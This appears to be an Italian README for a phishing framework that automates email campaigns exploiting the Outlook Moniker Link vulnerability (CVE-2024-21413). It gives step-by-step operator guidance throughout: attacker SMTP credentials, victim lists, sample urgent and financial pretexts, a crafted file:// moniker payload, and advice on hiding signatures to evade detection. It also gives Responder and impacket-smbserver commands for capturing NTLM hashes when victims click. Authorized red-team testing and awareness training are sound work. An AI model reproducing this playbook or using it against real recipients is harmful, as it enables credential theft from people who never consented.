BLIND TRUST - Framework per Campagne di Phishing con Moniker Link

Uno strumento di ricerca per la sicurezza progettato per simulare campagne di phishing mirate utilizzando la vulnerabilità CVE-2024-21413 Moniker Link. Pensato per operazioni di red team autorizzate, penetration testing e formazione sulla consapevolezza della sicurezza.

Panoramica

BLIND TRUST è un framework per campagne di phishing che aiuta i team di sicurezza a comprendere e testare le proprie difese contro attacchi email sofisticati. Sfrutta la tecnica Moniker Link per bypassare la Protected View di Outlook, fornendo una simulazione realistica che le organizzazioni possono utilizzare per rafforzare la propria postura di sicurezza.

Questo strumento automatizza il flusso di lavoro end-to-end di una campagna, dalla configurazione all'invio delle email, mantenendo la sicurezza operativa attraverso percorsi UNC personalizzabili e opzioni di pretesto flessibili.

Scopo

Le organizzazioni devono comprendere le tecniche di attacco reali per difendersi efficacemente. TRUST consente:

• Operazioni red team - Condurre campagne di phishing autorizzate nell'ambito di valutazioni della sicurezza
• Formazione sulla consapevolezza della sicurezza - Dimostrare ai dipendenti vettori di attacco reali
• Validazione delle vulnerabilità - Testare le capacità di rilevamento contro tecniche note
• Ricerca difensiva - Comprendere il comportamento di Moniker Link nel proprio ambiente

Funzionalità

• Campagne multi-destinatario - Inviare email di phishing a più target con una singola configurazione
• Caricamento flessibile dei target - Caricare i target tramite input interattivo o file .txt in stile wordlist
• Pretesto personalizzabile - Controllare oggetto dell'email, nome visualizzato del mittente e corpo del testo
• Percorsi UNC discreti - Personalizzare il percorso Moniker Link per renderlo realistico (dominio, nome condivisione, nome exploit)
• Autenticazione SMTP - Supporto per vari server SMTP con negoziazione TLS
• Logica di ripetizione automatica - Backoff esponenziale per guasti SMTP transitori
• Report della campagna - Stato di consegna per singolo target con risultati aggregati
• Nessuna firma codificata - Eliminazione di indicatori ovvi che espongono la tecnica

Installazione

Requisiti

• Python 3.7+
• Solo libreria standard (nessuna dipendenza esterna)

Setup

# Clona il repository
git clone https://github.com/h1ssbl1tz/Blind-Trust.git
cd TRUST

# Esegui lo strumento
python3 TRUST_v7.py

Requisiti

Lo strumento utilizza solo moduli della libreria standard Python:

getpass      - Input sicuro della password
html         - Escapamento HTML
ipaddress    - Validazione indirizzi IP
logging      - Logging strutturato
os           - Operazioni su file
re           - Espressioni regolari
signal       - Gestione segnali
smtplib      - Protocollo email SMTP
sys          - Utilità di sistema
time         - Operazioni temporali
dataclasses  - Modellazione della configurazione
email        - Costruzione email MIME
typing       - Suggerimenti di tipo

Nessun pacchetto esterno richiesto: funziona ovunque con Python 3.7+.

Avvio rapido

python3 TRUST_v7.py

Segui la procedura guidata interattiva attraverso 5 passaggi:

1. Credenziali Attaccante - Account SMTP per l'invio delle email
2. Configurazione Listener SMB - Indirizzo IP a cui i target si connetteranno
3. Configurazione Target - Carica le vittime da input o file wordlist
4. Personalizzazione Email - Oggetto, nome mittente e corpo del testo
5. Personalizzazione Payload - Host percorso UNC, condivisione e nomi exploit

Esempi di Utilizzo

Esempio 1: Input Interattivo (Campagna Piccola)

Caricare i target da [f]ile o [i]nput direttamente?: i
Indirizzo/i email target: [email protected], [email protected]

Oggetto email [Security Update Required]: Urgente: Avviso Scadenza Password
Nome visualizzato (campo Da) [Microsoft Security Center]: Team IT Sicurezza
Corpo email: La tua password scade tra 24 ore. Aggiornala immediatamente.

Host UNC (IP o dominio) [192.168.1.100]: it-internal.company.com
Nome condivisione UNC [updates]: patches
Nome exploit UNC [patch]: kb_security_2024

Esempio 2: Caricamento da Wordlist (Campagna Grande)

Crea targets.txt:

# Dipartimento Finanze
[email protected]
[email protected]
[email protected]

# Contabilità
[email protected]
[email protected]

Poi esegui:

Caricare i target da [f]ile o [i]nput direttamente?: f
Percorso del file target: targets.txt
[+] Caricati 5 target da targets.txt

Esempio 3: Pretesto Finanziario Realistico

Oggetto email: Revisione Finanziaria Q3 - Azione Richiesta
Nome visualizzato: Team Operazioni Finanziarie
Corpo email: Si prega di rivedere il bilancio finanziario Q3 allegato e fornire approvazione.

Host UNC: finance-internal.company.com
Condivisione UNC: quarterly
Exploit UNC: q3_financial_report

Percorso UNC generato: file://finance-internal.company.com/quarterly!q3_financial_report

Configurazione Spiegata

PASSO 1: Credenziali Attaccante

• Email attaccante: L'indirizzo email utilizzato per inviare le email di phishing (tipicamente un account compromesso o spoofato)
• Password SMTP: Credenziale di autenticazione per il server di posta

PASSO 2: Listener SMB

• IP listener SMB: L'indirizzo IP dove è in esecuzione il tuo listener SMB (es. Responder, impacket-smbserver). I target tenteranno di connettersi qui quando cliccano sul Moniker Link.

PASSO 3: Configurazione Target

Due opzioni:

• Input interattivo: Incolla le email direttamente (separate da virgola o newline)
• File wordlist: Carica da un file .txt con un'email per riga, commenti che iniziano con #

PASSO 4: Personalizzazione Email

• Oggetto: Riga dell'oggetto email (evita riferimenti a CVE; mantienilo professionale)
• Nome visualizzato Da: Il nome visualizzato nella testata dell'email
• Corpo email: Il testo del pretesto che spiega perché i target dovrebbero cliccare sul link

PASSO 5: Personalizzazione Payload

È qui che si evitano firme ovvie:

• Host UNC: Utilizza un dominio o sottodominio realistico (es. finance-internal.company.com) invece di un semplice IP
• Condivisione UNC: Nome condivisione realistico come quarterly, updates, documents
• Exploit UNC: Nome file realistico come q3_report, security_patch, training_document

Risultato: Invece dell'ovvio \\192.168.1.100\share!exploit, ottieni qualcosa come file://finance-internal.company.com/quarterly!q3_report.

Flusso di Esecuzione

Inizio
  ↓
[PASSO 1] Richiedi email attaccante e password SMTP
  ↓
[PASSO 2] Richiedi IP listener SMB
  ↓
[PASSO 3] Carica email target (file o input)
  ↓
     ↓→ Per ogni target:
     │  - Valida formato email
     │  - Controlla duplicati
     │
[PASSO 4] Richiedi pretesto email
     │  - Oggetto, nome Da, corpo testo
     │
[PASSO 5] Richiedi personalizzazione percorso UNC
     │  - Host, condivisione, nome exploit
     │
  ↓
[COSTRUISCI] Costruisci oggetto di configurazione
  ↓
[VALIDAZIONE] Controlla che tutti i campi siano presenti e validi
  ↓
[RIEPILOGO] Mostra riepilogo pre-invio per revisione
  ↓
[CONFERMA] L'utente approva o annulla
  ↓
[INVIA] Per ogni target:
     │  - Costruisci email MIME con Moniker Link personalizzato
     │  - Tenta consegna SMTP con logica di ripetizione
     │  - Registra successo/fallimento per target
     │
  ↓
[REPORT] Mostra risultati della campagna (consegnati vs falliti)
  ↓
Esci

Come Funziona

La Vulnerabilità

CVE-2024-21413 (Moniker Link) è una vulnerabilità di Outlook che permette di incorporare URL file:// con il carattere !. Quando un utente clicca su tale link, Outlook tenta di accedere al percorso UNC, innescando un tentativo di autenticazione NTLM anche in modalità Protected View.

Flusso di Attacco

1. L'utente riceve un'email con un Moniker Link
2. L'email appare legittima (grazie al tuo pretesto personalizzato)
3. L'utente clicca sul link
4. Outlook tenta di accedere a \\host\condivisione!exploit
5. Il carattere ! bypassa la Protected View
6. Il sistema dell'utente si autentica verso il tuo listener SMB
7. Catturi l'hash NTLM o le informazioni sulle credenziali

Cosa Fa Questo Strumento

TRUST automatizza la fase di consegna:

• Crea email realistiche con pretesto personalizzato
• Inietta il Moniker Link nel payload HTML
• Gestisce connessioni SMTP e tentativi
• Gestisce più target in modo efficiente
• Fornisce report sulla campagna

Risoluzione dei Problemi

Problema: "Tentativo SMTP 3 fallito: [SMTP: 535]"

Soluzione: Verifica le credenziali SMTP. Per Gmail, usa una password specifica per l'app. Per la posta aziendale, contatta l'amministratore SMTP.

Problema: "TLS non supportato. Si procede senza crittografia."

Soluzione: Normale per alcuni server SMTP. La connessione proseguirà senza crittografia TLS.

Problema: "Email non valida: victim@"

Soluzione: Assicurati che le email nei file wordlist siano complete e in formato valido ([email protected]).

Problema: "Destinatario rifiutato"

Soluzione: L'indirizzo email non esiste sul server di destinazione, oppure il server sta bloccando il relay dal tuo account.

Problema: "File non trovato: targets.txt"

Soluzione: Verifica che il percorso del file sia corretto e che il file esista nella directory corrente.

FAQ

D: Questo strumento è legale da usare? R: Solo con autorizzazione scritta esplicita dell'organizzazione che stai testando. Il phishing non autorizzato è illegale. Avere sempre un perimetro di lavoro e regole di ingaggio per iscritto.

D: Può bypassare i filtri email avanzati? R: È una simulazione realistica, ma la sicurezza email moderna potrebbe ancora rilevarlo. Questo è il punto: se i filtri della tua organizzazione falliscono contro questo, hai un problema da risolvere.

D: Perché personalizzare il percorso UNC? R: Il \\IP\condivisione!exploit originale è un chiaro segnale. Gli attaccanti reali usano percorsi realistici. Il tuo team di sicurezza dovrebbe identificare sia gli indicatori ovvi che quelli sottili.

D: Posso usarlo per formare i dipendenti? R: Sì. Dopo test autorizzati, usa esempi di campagne anonimizzati nella formazione sulla consapevolezza della sicurezza per mostrare ai dipendenti tecniche di attacco reali.

D: Questo strumento cattura le credenziali? R: No. TRUST consegna solo l'email. Hai bisogno di un listener SMB separato (Responder, impacket-smbserver, ecc.) per catturare gli hash NTLM quando i target cliccano sul link.

D: Come configuro un listener SMB? R: Usa Responder su Linux o impacket-smbserver:

# Responder (cattura hash)
sudo responder -i eth0 -v

# impacket-smbserver (simulazione file server)
impacket-smbserver Share /tmp -smb2support

Limitazioni

• Nessuna cattura di credenziali integrata: Fornisci tu il listener SMB; TRUST si occupa solo dell'invio delle email
• Nessuna persistenza della campagna: I risultati vengono stampati nella console; reindirizza stdout per salvarli
• Nessuna intelligence sui target: Devi raccogliere tu stesso gli indirizzi email dei target
• Nessuna offuscamento email: Sebbene i percorsi UNC siano personalizzabili, le intestazioni email sono SMTP standard
• Nessun multi-threading: Le email vengono inviate in sequenza per affidabilità

Disclaimer

Questo strumento è esclusivamente per test di sicurezza autorizzati.

• Devi possedere esplicita autorizzazione scritta per condurre campagne di phishing
• L'uso non autorizzato è illegale e non etico
• Utilizza solo in ambienti controllati su sistemi che possiedi o su cui hai autorizzazione di test
• Segui sempre le leggi e i regolamenti applicabili
• Gli autori non si assumono alcuna responsabilità per uso improprio o danni causati da questo strumento

Usando TRUST, riconosci di comprendere le implicazioni legali e di possedere la dovuta autorizzazione.

Raccomandazioni per un Uso Responsabile

1. Ottieni autorizzazione scritta - Firma regole di ingaggio prima di qualsiasi campagna
2. Definisci il perimetro dei target - Specifica quali sistemi e persone sono in scope
3. Pianifica la remediation - Prepara un piano di formazione per i dipendenti che hanno abboccato
4. Documenta i risultati - Conserva registrazioni dettagliate della valutazione
5. Riporta le scoperte - Fornisci feedback agli stakeholder su ciò che è stato efficace
6. Rispetta la privacy - Non utilizzare i dati catturati al di fuori del programma di sicurezza

Miglioramenti Futuri

• Persistenza della campagna e logging su file
• Sistema di template per il pretesto email
• Integrazione con LDAP per enumerazione dei target
• Rendering di template HTML per email più sofisticate
• Pianificazione delle campagne (consegne basate sul tempo)
• Dashboard di report con metriche e analisi
• Supporto per altre tecniche di phishing oltre a Moniker Link

Licenza

Questo progetto è rilasciato sotto licenza MIT con l'aggiunta di una restrizione d'uso. Vedi LICENSE per i dettagli.

Crediti e Attribuzione

Questo progetto si basa e si ispira alla ricerca originale su CVE-2024-21413 e all'implementazione di CMNatic (https://github.com/cmnatic).

A CMNatic vanno tutti i meriti per:

• Ricerca originale sulla vulnerabilità e proof-of-concept
• Implementazione tecnica principale
• Documentazione pubblica iniziale

Questo repository rappresenta una versione modificata ed estesa di quel lavoro, con miglioramenti tra cui:

• Supporto per campagne multi-target
• Pretesto email personalizzabile
• Personalizzazione del percorso UNC discreto
• Caricamento target basato su wordlist
• Miglioramento della gestione SMTP e logica di ripetizione
• Documentazione completa

Vedi CREDITS.md per attribuzioni più dettagliate.

Autore

H1SS - Versione estesa e mantenuta per scopi di ricerca sulla sicurezza e test autorizzati.

Contributi

I contributi sono benvenuti. Assicurati che eventuali modifiche:

• Mantengano il focus educativo dello strumento
• Includano documentazione adeguata
• Seguano pratiche di divulgazione responsabile
• Non introducano dipendenze esterne

Vedi CONTRIBUTING.md per le linee guida.

Supporto

Per problemi, domande o suggerimenti, apri una segnalazione su GitHub.

Ricorda: Questo strumento è un progetto di ricerca. Usalo in modo responsabile, legale ed etico.